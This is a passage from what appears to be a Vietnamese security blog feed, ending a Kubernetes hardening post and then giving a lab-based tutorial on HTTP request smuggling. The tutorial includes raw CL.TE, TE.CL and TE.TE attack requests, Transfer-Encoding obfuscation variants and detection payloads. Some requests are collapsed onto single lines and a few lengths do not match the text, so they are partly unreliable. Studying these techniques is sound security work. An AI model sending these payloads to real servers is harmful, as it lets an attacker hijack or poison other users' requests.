  <li>Elasticsearch/OpenSearch</li>
  <li>Fluent Bit/Fluentd</li>
</ul>

<p>Trong đề tài này, monitoring và logging còn liên quan đến detection. Ngoài log ứng dụng, ta cần quan tâm thêm:</p>

<ul>
  <li>Kubernetes audit log</li>
  <li>Runtime alert từ Falco</li>
  <li>Event bất thường trong cluster</li>
  <li>Log từ API Server, kubelet, admission controller</li>
</ul>

<h4 id="góc-nhìn-bảo-mật-10">Góc nhìn bảo mật</h4>

<p>Nếu không có logging và monitoring, attack có thể xảy ra mà không để lại dấu hiệu dễ quan sát.</p>

<p>Một số hành vi nên theo dõi:</p>

<ul>
  <li>Pod lạ được tạo trong namespace nhạy cảm.</li>
  <li>Tạo ClusterRoleBinding mới.</li>
  <li>ServiceAccount gọi API bất thường.</li>
  <li>Đọc Secret hàng loạt.</li>
  <li>Tạo privileged Pod hoặc Pod có hostPath.</li>
  <li>Exec shell trong container.</li>
  <li>Kết nối network bất thường giữa các namespace.</li>
</ul>

<p>Hardening gợi ý:</p>

<ul>
  <li>Bật Kubernetes audit log.</li>
  <li>Cài Falco để phát hiện runtime behavior nguy hiểm.</li>
  <li>Lưu log tập trung để phục vụ điều tra.</li>
  <li>Thiết lập alert cho hành vi liên quan đến privilege escalation.</li>
  <li>Định kỳ review RBAC và workload có cấu hình rủi ro.</li>
</ul>

<h2 id="iv-tổng-kết-phần-kiến-trúc-dưới-góc-nhìn-security">IV. Tổng kết phần kiến trúc dưới góc nhìn security</h2>

<p>Qua các thành phần trên, có thể thấy Kubernetes không chỉ là một nền tảng chạy container mà là một hệ thống phân tán gồm nhiều lớp điều khiển, lưu trữ, thực thi và networking.</p>

<p>Từ góc nhìn bảo mật, mỗi thành phần đều có vai trò riêng trong attack surface:</p>

<ul>
  <li><strong>API Server</strong> là entry point để gọi Kubernetes API.</li>
  <li><strong>etcd</strong> lưu toàn bộ trạng thái và dữ liệu nhạy cảm của cluster.</li>
  <li><strong>Scheduler</strong> quyết định workload được đặt lên Node nào.</li>
  <li><strong>Controller Manager</strong> tự động tạo/sửa/xóa tài nguyên để duy trì desired state.</li>
  <li><strong>kubelet</strong> quản lý Pod trực tiếp trên Node và là attack surface quan trọng.</li>
  <li><strong>kube-proxy/CNI</strong> quyết định cách traffic di chuyển trong cluster.</li>
  <li><strong>Container Runtime</strong> là lớp thực thi container và liên quan trực tiếp tới container escape.</li>
  <li><strong>Addons</strong> như Dashboard, DNS, Monitoring nếu cấu hình sai cũng có thể trở thành điểm yếu.</li>
</ul>

<p>Đây là nền tảng quan trọng để bước sang phần tiếp theo: phân tích các kỹ thuật tấn công và leo thang đặc quyền trong Kubernetes. Đặc biệt, attack chain trọng tâm của leo thang đặc quyền sẽ xoay quanh việc attacker có shell trong Pod, lấy ServiceAccount token, gọi API Server, lạm dụng RBAC hoặc Pod misconfiguration, sau đó leo thang lên quyền cao hơn trong cluster.</p>

<h2 id="tóm-lại">Tóm lại</h2>

<p>Kubernetes Architecture được thiết kế theo mô hình phân tách rõ ràng giữa phần quản lý và phần thực thi.</p>

<p><strong>Control Plane</strong> chịu trách nhiệm quản lý cluster, đưa ra quyết định và duy trì trạng thái mong muốn. <strong>Worker Nodes</strong> là nơi chạy các ứng dụng container hóa dưới dạng Pods.</p>

<p>Nhờ kiến trúc này, Kubernetes có thể tự động hóa nhiều công việc quan trọng như scheduling, scaling, self-healing, service discovery và rolling update. Đây cũng là lý do Kubernetes trở thành nền tảng phổ biến để triển khai và vận hành ứng dụng container trong môi trường hiện đại.</p>]]></content><author><name>Phuc Quan</name><email>quan610ll@gmail.com</email></author><category term="Security-Research" /><category term="Kubernetes" /><category term="Security" /><summary type="html"><![CDATA[I. Giới thiệu tổng quan về K8S]]></summary></entry><entry><title type="html">HTTP Request Smuggling: Deep Dive into Detection and Exploitation</title><link href="https://phucquan.github.io/penetration-testing/http-request-smuggling/" rel="alternate" type="text/html" title="HTTP Request Smuggling: Deep Dive into Detection and Exploitation" /><published>2026-05-17T00:00:00+00:00</published><updated>2026-05-17T00:00:00+00:00</updated><id>https://phucquan.github.io/penetration-testing/http-request-smuggling</id><content type="html" xml:base="https://phucquan.github.io/penetration-testing/http-request-smuggling/"><![CDATA[<p>Hãy tưởng tượng bạn đi mua đồ ở siêu thị. Bạn đặt 3 món hàng lên băng chuyền, nhưng vì nhân viên thu ngân và người xếp hàng không hiểu ý nhau, món thứ 3 của bạn lại bị “dính” sang hóa đơn của người đứng sau. Đó chính là cách HTTP Request Smuggling hoạt động — kẻ tấn công lén nhét một yêu cầu độc hại để người dùng tiếp theo phải gánh chịu.</p>

<p>Hôm nay , chúng ta cùng đến với 1 chủ đề tấn công mà dạo gần đây CVE nổ khá là nhiều gần đây .
Trong giai đoạn cuối năm 2025 và đầu năm 2026,  lỗ hổng nghiêm trọng này đã được phát hiện trong các nền tảng phổ biến như ASP.NET Core, Golang và Axios… Và lỗ hổng đó gọi là HTTP request smuggling .</p>

<p><img src="/assets/images/HTTP_REQUEST_SMUGGLING/Pasted%20image%2020260516235843.png" alt="" /></p>

<h2 id="i-http-request-smuggling-là-gì-">I. HTTP Request Smuggling là gì ?</h2>

<p>HTTP Request Smuggling là kĩ thuật tấn công khai thác sự bất đồng bộ yêu cầu của cơ sở hạ tầng web như máy chủ proxy , load balancer với máy chủ backend . Diễn giải yêu cầu HTTP theo 1 cách hiểu khác nhau , chính vì sự không đồng nhất giữa các yêu cầu này dẫn tới cho phép attacker có thể vượt qua tường lửa cũng như các biện pháp an ninh và có khả năng chèn các yêu cầu độc hại ẩn giấu bên trong 1 cách bất hợp pháp.</p>

<p>Lỗi tấn công này chủ yếu xảy ra với các HTTP /1 . Tuy nhiên các trang web hỗ trợ HTTP /2 cũng có thể bị khai thác với phương pháp bằng phương pháp HTTP Downgrading 
(Bạn có thể tham khảo ở link này: <a href="https://tryhackme.com/room/http2requestsmuggling">TryHackMe - HTTP/2 Request Smuggling</a>)</p>

<p>Vậy chuyện gì xảy ra khi 1 cuộc tấn công HTTP request smuggling diễn ra ?</p>

<p>Các ứng dụng web ngày nay thường sử dụng các chuỗi yêu cầu HTTP giữa người dùng tới backend . Người dùng gửi yêu cầu của mình qua frontend (thường là các máy chủ cân bằng tải như Load Balancer hay Reverse Proxy như Nginx , CloudFlare , HAproxy,… ) sau đó mới gửi tới máy chủ backend . Trong trường hợp này điều quan trọng là FE và BE phải thống nhất ranh giới của các yêu cầu . Nếu không attacker có thể gửi yêu cầu 1 cách không rõ ràng , từ đó dẫn tới BE và FEcó thể xử lí hệ thống theo nghĩa khác nhau.</p>

<p>Chủ yếu lỗ hổng HTTP RS bị phát sinh do xoay quanh 2 yếu tố trong 2 header của gói tin là HTTP đó là : Content - Length  và Transfer - Encoding .</p>

<p>Content - Length thì các bạn cũng biết rồi , thì nó là kích thước của body theo đơn vị byte</p>

<p>Còn Transfer-Encoding có thể được sử dụng để chỉ ra rằng phần message body sử dụng chunked encoding. Tức là phần message trong body chứa 1 hoặc nhiều các đoạn khối của dữ liệu. Mỗi chunk .Khi nội dung dữ liệu được <strong>chunked</strong> , nó sẽ có dạng như sau: ký tự đầu tiên chính là kích thước của đoạn <strong>chunked theo dạng hex, tiếp theo là</strong> <strong>chunked</strong> content và end content là số 0.. Ví dụ:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>POST /search HTTP/1.1 Host: 
normal-website.com \
Content-Type: application/x-www-form-urlencoded 
Transfer-Encoding: chunked 
b 
q=smuggling 
0
</code></pre></div></div>

<p>Vì theo đặc tả HTTP /1.1 , 2 kiểu trên đều chỉ định độ dài của nội dung dữ liệu theo phương pháp khác nhau ,nên một thông điệp có thể sử dụng cả 2 phương pháp cùng lúc , dẫn tới sự xung đột . 
Để tìm hiểu rõ hơn thì chúng ta cùng bước tới phần tiếp theo là</p>

<h2 id="ii-các-thực-hiện-tấn-công-http-request-smuggling">II. Các thực hiện tấn công HTTP request smuggling</h2>

<p>Các cuộc tấn công đánh cắp yêu cầu cổ điển liên quan đến việc đặt cả <code class="language-plaintext highlighter-rouge">Content-Length</code>tiêu đề và <code class="language-plaintext highlighter-rouge">Transfer-Encoding</code>  vào một yêu cầu HTTP/1 duy nhất và thao túng chúng sao cho máy chủ giao diện người dùng và máy chủ phụ trợ xử lý yêu cầu khác nhau. Cách thức thực hiện chính xác phụ thuộc vào hành vi của hai máy chủ:</p>

<ul>
  <li>CL.TE : Lỗ hổng xảy ra khi FE sử dụng header Content-length trong khi đó BE sử dụng Transfer-Encoding</li>
  <li>TE.CL : Thì ngược lại là lỗ hổng xảy ra khi FE sử dụng Transfer-Encoding và BE lại sử dụng Content-Lenght</li>
  <li>TE.TE : Lỗ hổng xảy ra khi cả FE và BE đều sử dụng Transfer - Encoding , nhưng 1 trong 2 máy chủ được tác động để không xử lí nó bằng cách làm xáo trộn tiêu đề bằng 1 cách nào đó</li>
</ul>

<p><strong>Tấn công CL.TE</strong> :</p>

<p>Ở đây, <strong>front-end</strong> máy chủ sử dụng tiêu đề <strong>Content-Length và</strong> <strong>back-end</strong> máy chủ sử dụng tiêu đề <strong>Transfer-Encoding</strong> . Ta tiến hành tấn công <strong>HTTP Yêu cầu buôn lậu</strong> như sau:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>POST / HTTP/1.1 
Host: vulnerable-website.com 
Content-Length: 13 
Transfer-Encoding: chunked 

0 

SMUGGLED
</code></pre></div></div>

<p>Phía  FE xử lý <code class="language-plaintext highlighter-rouge">Content-Length</code>phần tiêu đề và xác định rằng phần thân yêu cầu dài 13 byte, tính đến hết thẻ <code class="language-plaintext highlighter-rouge">SMUGGLED</code>. Yêu cầu này được chuyển tiếp đến Backend.</p>

<p>Backend server xử lý <code class="language-plaintext highlighter-rouge">Transfer-Encoding</code>, và do đó coi phần thân thông báo là sử dụng mã hóa theo từng khối. Nó xử lý khối đầu tiên, được cho là có độ dài bằng không, và do đó được coi là kết thúc yêu cầu. Các byte tiếp theo, <code class="language-plaintext highlighter-rouge">SMUGGLED</code>, không được xử lý, và máy chủ phía máy chủ sẽ coi chúng là sự bắt đầu của yêu cầu tiếp theo trong chuỗi.</p>

<p><img src="/assets/images/HTTP_REQUEST_SMUGGLING/Pasted%20image%2020260506160613.png" alt="" /></p>

<p>Để có cái nhìn thực tế hơn thì chúng ta đến với bài thực hành này</p>

<p>Để giải quyết bài toán thực hành, hãy lén gửi một yêu cầu đến máy chủ phụ trợ, sao cho yêu cầu tiếp theo đượcbackend xử lý có vẻ như sử dụng phương thức đó. <code class="language-plaintext highlighter-rouge">GPOST</code>.</p>

<p><img src="/assets/images/HTTP_REQUEST_SMUGGLING/Pasted%20image%2020260506161659.png" alt="" /></p>

<p>Ở đây trong phần cài đặt bên cạnh nút Send , bạn hãy tắt chức năng update content-length của BS, đồng thời bên request attributes trong bảng inspector bạn đổi từ HTTP/2 sang HTTP/1.1</p>

<p><img src="/assets/images/HTTP_REQUEST_SMUGGLING/Pasted%20image%2020260506161858.png" alt="" /></p>

<p>Ở đây bạn có thể thấy được - 
<strong>Giai đoạn 1 (Tại Front-end):</strong><br />
    Front-end nhìn vào <code class="language-plaintext highlighter-rouge">Content-Length: 6</code>. Nó đếm đủ 6 ký tự ở phần thân (body) gồm: <code class="language-plaintext highlighter-rouge">0</code>, <code class="language-plaintext highlighter-rouge">\r</code>, <code class="language-plaintext highlighter-rouge">\n</code>, <code class="language-plaintext highlighter-rouge">\r</code>, <code class="language-plaintext highlighter-rouge">\n</code>, và chữ <code class="language-plaintext highlighter-rouge">G</code>. Vì thấy đúng số lượng, nó chuyển tiếp toàn bộ gói tin này sang cho Back-end.</p>
<ul>
  <li><strong>Giai đoạn 2 (Tại Back-end):</strong><br />
  Back-end lại nhìn vào <code class="language-plaintext highlighter-rouge">Transfer-Encoding: chunked</code>. Trong chế độ này, dữ liệu được kết thúc bằng một ký tự <code class="language-plaintext highlighter-rouge">0</code> kèm theo hai dòng trống (<code class="language-plaintext highlighter-rouge">\r\n\r\n</code>).<br />
  Khi Back-end đọc đến dòng <code class="language-plaintext highlighter-rouge">0</code> và hai dòng trống, nó nghĩ rằng: <em>“A, request này xong rồi!”</em>. Nó xử lý request POST đó và trả về <code class="language-plaintext highlighter-rouge">200 OK</code>.</li>
  <li><strong>Giai đoạn 3 (Sự cố “Smuggling”):</strong><br />
  Vì Front-end đã gửi 6 ký tự, nhưng Back-end chỉ mới xử lý phần đến dòng <code class="language-plaintext highlighter-rouge">0</code>, nên chữ <strong><code class="language-plaintext highlighter-rouge">G</code></strong> còn sót lại bị bỏ rơi trong bộ đệm (buffer) của kết nối TCP đó.</li>
</ul>

<ol>
  <li>Tại sao phải gửi 2 lần?</li>
</ol>

<ul>
  <li><strong>Lần gửi 1:</strong> Để “nhồi” chữ <code class="language-plaintext highlighter-rouge">G</code> vào hàng đợi của Back-end.</li>
  <li><strong>Lần gửi 2:</strong> Khi bạn gửi tiếp một request POST thông thường, Back-end sẽ lấy chữ <code class="language-plaintext highlighter-rouge">G</code> đang nằm chờ sẵn đó ghép vào đầu request mới.
    <ul>
      <li>Request mới ban đầu là: <code class="language-plaintext highlighter-rouge">POST / HTTP/1.1...</code></li>
      <li>Sau khi bị ghép chữ <code class="language-plaintext highlighter-rouge">G</code> vào đầu, nó trở thành: <code class="language-plaintext highlighter-rouge">GPOST / HTTP/1.1...</code></li>
    </ul>
  </li>
</ul>

<p>Do phương thức <strong>GPOST</strong> không tồn tại trong giao thức HTTP, Back-end sẽ báo lỗi: <em>“Unrecognized method GPOST”</em>. Đây chính là bằng chứng cho thấy bạn đã “buôn lậu” thành công dữ liệu từ request trước sang request sau.</p>

<p><strong>Tấn công TE.CL:</strong></p>

<p>Ở đây, front-end máy chủ sử dụng tiêu đề <strong>Transfer-Encoding</strong> và back-end máy chủ sử dụng tiêu đề <strong>Content-Length</strong> . Ta tiến hành tấn công  như sau:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>POST / HTTP/1.1 
Host: vulnerable-website.com 
Content-Length: 3 
Transfer-Encoding: chunked
 
8 
SMUGGLED 
0
</code></pre></div></div>

<p>FE xử lý <code class="language-plaintext highlighter-rouge">Transfer-Encoding</code> và do đó coi phần thân thông báo là sử dụng mã hóa theo từng khối. Nó xử lý khối đầu tiên, được cho là dài 8 byte, cho đến khi bắt đầu dòng tiếp theo <code class="language-plaintext highlighter-rouge">SMUGGLED</code>. Nó xử lý khối thứ hai, được cho là có độ dài bằng không, và do đó được coi là kết thúc yêu cầu. Yêu cầu này được chuyển tiếp đến máy chủ phụ trợ.</p>

<p>Máy chủ phía máy chủ xử lý <code class="language-plaintext highlighter-rouge">Content-Length</code>phần tiêu đề và xác định rằng phần thân yêu cầu dài 3 byte, tính đến đầu dòng tiếp theo sau <code class="language-plaintext highlighter-rouge">8</code>. Các byte tiếp theo, bắt đầu từ <code class="language-plaintext highlighter-rouge">SMUGGLED</code>, sẽ không được xử lý và backend sẽ coi chúng là phần bắt đầu của yêu cầu tiếp theo trong chuỗi.</p>

<p><img src="/assets/images/HTTP_REQUEST_SMUGGLING/Pasted%20image%2020260506163002.png" alt="" /></p>

<p><img src="/assets/images/HTTP_REQUEST_SMUGGLING/Pasted%20image%2020260506164619.png" alt="" /></p>

<ul>
  <li><strong>Front-end nhìn thấy <code class="language-plaintext highlighter-rouge">Transfer-Encoding: chunked</code>:</strong>
    <ul>
      <li>Nó thấy <code class="language-plaintext highlighter-rouge">5c</code> (hệ thập phân là 92). Nó sẽ đợi đọc tiếp 92 bytes dữ liệu.</li>
      <li>Nó đọc toàn bộ đoạn <code class="language-plaintext highlighter-rouge">GPOST ... x=1</code> và cuối cùng là số <code class="language-plaintext highlighter-rouge">0</code> (đánh dấu hết dữ liệu chunked).</li>
      <li><strong>Kết quả:</strong> Front-end thấy gói tin này hợp lệ và gửi toàn bộ xuống Back-end.</li>
    </ul>
  </li>
  <li><strong>Back-end nhìn thấy <code class="language-plaintext highlighter-rouge">Content-Length: 4</code>:</strong>
    <ul>
      <li>Nó  chỉ đọc đúng 4 bytes đầu tiên của phần thân (body).</li>
      <li>4 bytes đó chính là <code class="language-plaintext highlighter-rouge">5c\r\n</code> (vừa đủ 4 ký tự).</li>
      <li><strong>Hậu quả:</strong> Back-end coi như yêu cầu thứ nhất đã xong. Phần còn lại (từ chữ <code class="language-plaintext highlighter-rouge">GPOST</code> trở đi) bị coi là “dữ liệu thừa” và bị kẹt lại trong bộ đệm (buffer) của kết nối.</li>
    </ul>
  </li>
</ul>

<p>Khi một người dùng bình thường (nạn nhân) gửi một yêu cầu hợp lệ (ví dụ: <code class="language-plaintext highlighter-rouge">GET /index.html</code>) đến hệ thống trên cùng một kết nối đó:</p>

<p>Back-end sẽ lấy phần “dữ liệu thừa” đang kẹt ở trên (<code class="language-plaintext highlighter-rouge">GPOST ...</code>) dán đè lên phía trước yêu cầu của nạn nhân. Yêu cầu của nạn nhân bỗng nhiên biến thành:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1GET /index.html ...
</code></pre></div></div>

<p>Nạn nhân sẽ nhận được phản hồi cho cái <code class="language-plaintext highlighter-rouge">GPOST</code>  thay vì trang chủ mà họ muốn.</p>

<blockquote>
  <p><strong>Kết thúc một “Chunk”:</strong> Trong chế độ <code class="language-plaintext highlighter-rouge">Transfer-Encoding: chunked</code>, số <strong>0</strong> là tín hiệu báo cho Front-end biết: <em>“Hết dữ liệu rồi nhé!”</em>. Nhưng chỉ số 0 thôi là chưa đủ, giao thức yêu cầu phải có một chuỗi kết thúc chuẩn là <code class="language-plaintext highlighter-rouge">0\r\n\r\n</code> . Bạn phải cập nhật như vậy trong bài lab thì nó mới hoàn thành được</p>
</blockquote>

<p><strong>Tấn công TE.TE:</strong></p>

<p>Ở đây, <strong>front-end</strong> và <strong>back-end</strong> của máy chủ đều xử lý <strong>Transfer-Encoding</strong> tiêu đề , nhưng một trong các máy chủ không được xử lý tiêu đề đã được trộn theo bất kỳ cách nào.</p>

<p>Có vô số cách để trộn tiêu đề Transfer-Encoding . Ví dụ:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Transfer-Encoding: xchunked

Transfer-Encoding : chunked

Transfer-Encoding: chunked
Transfer-Encoding: x

Transfer-Encoding:[tab]chunked

[space]Transfer-Encoding: chunked

X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked
</code></pre></div></div>

<p>Trong lỗ hổng <strong>TE.TE</strong>, cả Front-end (FE) và Back-end (BE) đều hỗ trợ tiêu đề <code class="language-plaintext highlighter-rouge">Transfer-Encoding: chunked</code>. Tuy nhiên, kẻ tấn công sẽ <strong>“ngụy trang”</strong> tiêu đề này bằng cách làm sai lệch nó một chút so với chuẩn HTTP.</p>

<p>Mục tiêu là: <strong>Làm sao để một máy chủ vẫn đọc hiểu là “chunked”, còn máy chủ kia thì thấy lạ quá nên bỏ qua.</strong></p>

<ol>
  <li>Tại sao kỹ thuật này lại thành công?</li>
</ol>

<ul>
  <li><strong>Sự dễ dãi (Tolerance):</strong> Có máy chủ rất “khó tính” (chỉ nhận đúng chuẩn), nhưng có máy chủ lại “dễ tính” (thấy có khoảng trắng hay viết hoa thường vẫn chấp nhận). Chính sự khác biệt này tạo ra kẽ hở.</li>
</ul>

<ol>
  <li>Các kỹ thuật “Làm mờ” (Obfuscation) phổ biến</li>
</ol>

<p>Bạn có thể liệt kê các ví dụ từ ảnh của bạn vào blog dưới dạng bảng hoặc danh sách để người đọc dễ theo dõi:</p>

<table>
  <thead>
    <tr>
      <th>Kỹ thuật</th>
      <th>Ví dụ</th>
      <th>Giải thích</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><strong>Thêm ký tự lạ</strong></td>
      <td><code class="language-plaintext highlighter-rouge">Transfer-Encoding: xchunked</code></td>
      <td>Một server có thể bỏ qua chữ <code class="language-plaintext highlighter-rouge">x</code> và vẫn đọc là <code class="language-plaintext highlighter-rouge">chunked</code>.</td>
    </tr>
    <tr>
      <td><strong>Sai lệch khoảng trắng</strong></td>
      <td><code class="language-plaintext highlighter-rouge">Transfer-Encoding : chunked</code></td>
      <td>Khoảng trắng trước dấu hai chấm có thể làm một server bối rối.</td>
    </tr>
    <tr>
      <td><strong>Dùng phím Tab</strong></td>
      <td><code class="language-plaintext highlighter-rouge">Transfer-Encoding:[tab]chunked</code></td>
      <td>Dùng ký tự Tab thay vì Space.</td>
    </tr>
    <tr>
      <td><strong>Ghi đè/Nối chuỗi</strong></td>
      <td><code class="language-plaintext highlighter-rouge">X: X[\n]Transfer-Encoding: chunked</code></td>
      <td>Sử dụng ký tự xuống dòng (<code class="language-plaintext highlighter-rouge">\n</code>) để “giấu” tiêu đề thật sau một tiêu đề giả.</td>
    </tr>
    <tr>
      <td><strong>Bọc dòng</strong></td>
      <td><code class="language-plaintext highlighter-rouge">Transfer-Encoding</code>  <br /><code class="language-plaintext highlighter-rouge">: chunked</code></td>
      <td>Chia tiêu đề thành hai dòng.</td>
    </tr>
  </tbody>
</table>

<ol>
  <li>Kịch bản tấn công (Cách nó trở thành CL.TE hoặc TE.CL)</li>
</ol>

<p>Khi một trong hai máy chủ bị “lừa” và bỏ qua tiêu đề <code class="language-plaintext highlighter-rouge">Transfer-Encoding</code>, nó sẽ quay về sử dụng tiêu đề <code class="language-plaintext highlighter-rouge">Content-Length</code> để đo độ dài dữ liệu.</p>

<ul>
  <li>Nếu <strong>FE bỏ qua TE</strong> nhưng <strong>BE nhận TE</strong>: Nó trở thành lỗ hổng <strong>CL.TE</strong>.</li>
  <li>Nếu <strong>FE nhận TE</strong> nhưng <strong>BE bỏ qua TE</strong>: Nó trở thành lỗ hổng <strong>TE.CL</strong>.</li>
</ul>

<hr />

<p><img src="/assets/images/HTTP_REQUEST_SMUGGLING/Pasted%20image%2020260506165526.png" alt="" /></p>

<h2 id="iii-cách-phát-hiện--http-request-sumggling">III. Cách phát hiện  HTTP request sumggling</h2>

<p>Nếu sử dụng <strong>BurpSuite Pro</strong> , ta có thể kiểm tra lỗi <strong>HTTP request Smuggler</strong> khi sử dụng <strong>Active Scan,</strong> tải tiện ích mở rộng <strong>HTTP request Smuggler</strong> </p>

<p>Trong phần này chúng ta cùng tìm ra các kĩ thuật khác nhau để có thể phát  hiện ra lỗ hổng HTTP request smuggling.</p>

<p>Việc phát hiện <strong>HTTP Request Smuggling</strong> thường xoay quanh một ý tưởng khá đơn giản:</p>

<blockquote>
  <p>Làm cho front-end và back-end hiểu request theo hai cách khác nhau, sau đó quan sát xem server có phản ứng bất thường hay không.</p>
</blockquote>

<p>Có nhiều cách để kiểm tra, nhưng phổ biến nhất vẫn là:</p>

<ul>
  <li><strong>Timing-based detection</strong> (phát hiện dựa trên độ trễ)</li>
  <li><strong>Differential response</strong> (xác nhận dựa trên sự khác biệt của response)</li>
</ul>

<hr />

<h2 id="1-phát-hiện-bằng-timing-techniques">1. Phát hiện bằng Timing Techniques</h2>

<p>Đây là kỹ thuật phổ biến và an toàn nhất để phát hiện request smuggling. Ý tưởng là gửi một request được thiết kế đặc biệt sao cho:</p>

<ul>
  <li>Nếu không có lỗ hổng → response trả về bình thường</li>
  <li>Nếu có lỗ hổng → một phía sẽ chờ thêm dữ liệu và gây ra <strong>delay bất thường</strong></li>
</ul>

<p>Cách này cũng chính là cơ chế mà Burp Scanner sử dụng để tự động detect request smuggling.</p>

<h3 id="detect-clte-bằng-timing">Detect CL.TE bằng timing</h3>

<p>Trong trường hợp <strong>CL.TE</strong>:</p>

<ul>
  <li>Front-end ưu tiên <code class="language-plaintext highlighter-rouge">Content-Length</code></li>
  <li>Back-end ưu tiên <code class="language-plaintext highlighter-rouge">Transfer-Encoding</code></li>
</ul>

<p>Ta có thể gửi request như sau:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>POST / HTTP/1.1Host: vulnerable-website.comTransfer-Encoding: chunkedContent-Length: 41AX
</code></pre></div></div>

<p>Điều gì xảy ra ở đây?</p>

<p><strong>Front-end server</strong></p>

<p>Do sử dụng <code class="language-plaintext highlighter-rouge">Content-Length: 4</code>, nó chỉ forward một phần request và bỏ lại ký tự <code class="language-plaintext highlighter-rouge">X</code>.</p>

<p><strong>Back-end server</strong></p>

<p>Back-end đọc request theo <code class="language-plaintext highlighter-rouge">Transfer-Encoding: chunked</code>.</p>

<p>Chunk đầu tiên:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>1A
</code></pre></div></div>

<p>có nghĩa là chunk length = <code class="language-plaintext highlighter-rouge">1</code>, body = <code class="language-plaintext highlighter-rouge">A</code>.</p>

<p>Nhưng back-end vẫn đang chờ chunk tiếp theo hoàn chỉnh. Vì không nhận được dữ liệu mong đợi nên nó sẽ <strong>đợi thêm dữ liệu</strong>, dẫn đến response bị delay.</p>

<p>Nếu thấy request bị treo hoặc phản hồi chậm bất thường, đó có thể là dấu hiệu của <strong>CL.TE smuggling</strong>.</p>

<hr />

<h3 id="detect-tecl-bằng-timing">Detect TE.CL bằng timing</h3>

<p>Trong trường hợp <strong>TE.CL</strong>:</p>

<ul>
  <li>Front-end xử lý theo <code class="language-plaintext highlighter-rouge">Transfer-Encoding</code></li>
  <li>Back-end xử lý theo <code class="language-plaintext highlighter-rouge">Content-Length</code></li>
</ul>

<p>Payload thường dùng:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>POST / HTTP/1.1Host: vulnerable-website.comTransfer-Encoding: chunkedContent-Length: 60X
</code></pre></div></div>

<p>Lúc này:</p>

<p><strong>Front-end</strong></p>

<p>Do ưu tiên <code class="language-plaintext highlighter-rouge">Transfer-Encoding</code>, nó xem:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0
</code></pre></div></div>

<p>là kết thúc body và forward request mà bỏ lại <code class="language-plaintext highlighter-rouge">X</code>.</p>

<p><strong>Back-end</strong></p>

<p>Lại nhìn vào:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Content-Length: 6
</code></pre></div></div>

<p>nên nghĩ rằng request body vẫn chưa đủ dữ liệu và tiếp tục chờ.</p>

<p>Kết quả là response cũng sẽ bị delay.</p>

<h3 id="lưu-ý-khi-dùng-timing-test">Lưu ý khi dùng timing test</h3>

<p>Nên test theo thứ tự:</p>

<p><strong>CL.TE → rồi mới TE.CL</strong></p>

<p>Lý do là payload kiểm tra <strong>TE.CL</strong> có thể gây ảnh hưởng tới request của người dùng khác nếu target thực tế lại vulnerable với <strong>CL.TE</strong>.</p>

<p>Nói ngắn gọn:</p>

<blockquote>
  <p>CL.TE test thường stealthier và ít disruptive hơn.</p>
</blockquote>

<hr />

<h2 id="2-xác-nhận-lỗ-hổng-bằng-differential-responses">2. Xác nhận lỗ hổng bằng Differential Responses</h2>

<p>Timing delay chỉ cho thấy <strong>khả năng</strong> tồn tại vulnerability.</p>

<p>Để xác nhận chắc chắn, ta cần chứng minh rằng:</p>

<blockquote>
  <p>Một request có thể can thiệp vào request khác.</p>
</blockquote>

<p>Kỹ thuật này hoạt động bằng cách gửi liên tiếp:</p>

<ol>
  <li><strong>Attack request</strong> → cố tình poison request queue</li>
  <li><strong>Normal request</strong> → request bình thường dùng để kiểm tra ảnh hưởng</li>
</ol>

<p>Nếu response của request bình thường bị thay đổi theo đúng kỳ vọng → xác nhận được vulnerability.</p>

<hr />

<h3 id="confirm-clte-vulnerability">Confirm CL.TE vulnerability</h3>

<p>Giả sử request bình thường là:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>POST /search HTTP/1.1Host: vulnerable-website.comContent-Type: application/x-www-form-urlencodedContent-Length: 11q=smuggling
</code></pre></div></div>

<p>Thông thường endpoint này sẽ trả về:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HTTP/1.1 200 OK
</code></pre></div></div>

<p>Ta gửi attack request:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>POST /search HTTP/1.1Host: vulnerable-website.comContent-Type: application/x-www-form-urlencodedContent-Length: 49Transfer-Encoding: chunkedeq=smuggling&amp;x=0GET /404 HTTP/1.1Foo: x
</code></pre></div></div>

<p>Nếu attack thành công:</p>

<p>Phần:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET /404 HTTP/1.1Foo: x
</code></pre></div></div>

<p>sẽ bị back-end coi như <strong>mở đầu cho request kế tiếp</strong>.</p>

<p>Khi normal request tới, server sẽ parse thành:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET /404 HTTP/1.1Foo: xPOST /search HTTP/1.1
</code></pre></div></div>

<p>Request này trở nên malformed và URL không hợp lệ.</p>

<p>Kết quả:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>404 Not Found
</code></pre></div></div>

<p>Nếu request bình thường bỗng nhiên trả về <code class="language-plaintext highlighter-rouge">404</code> thay vì <code class="language-plaintext highlighter-rouge">200</code>, gần như chắc chắn rằng request smuggling đang xảy ra.</p>

<hr />

<h3 id="confirm-tecl-vulnerability">Confirm TE.CL vulnerability</h3>

<p>Với <strong>TE.CL</strong>, attack request sẽ khác:</p>

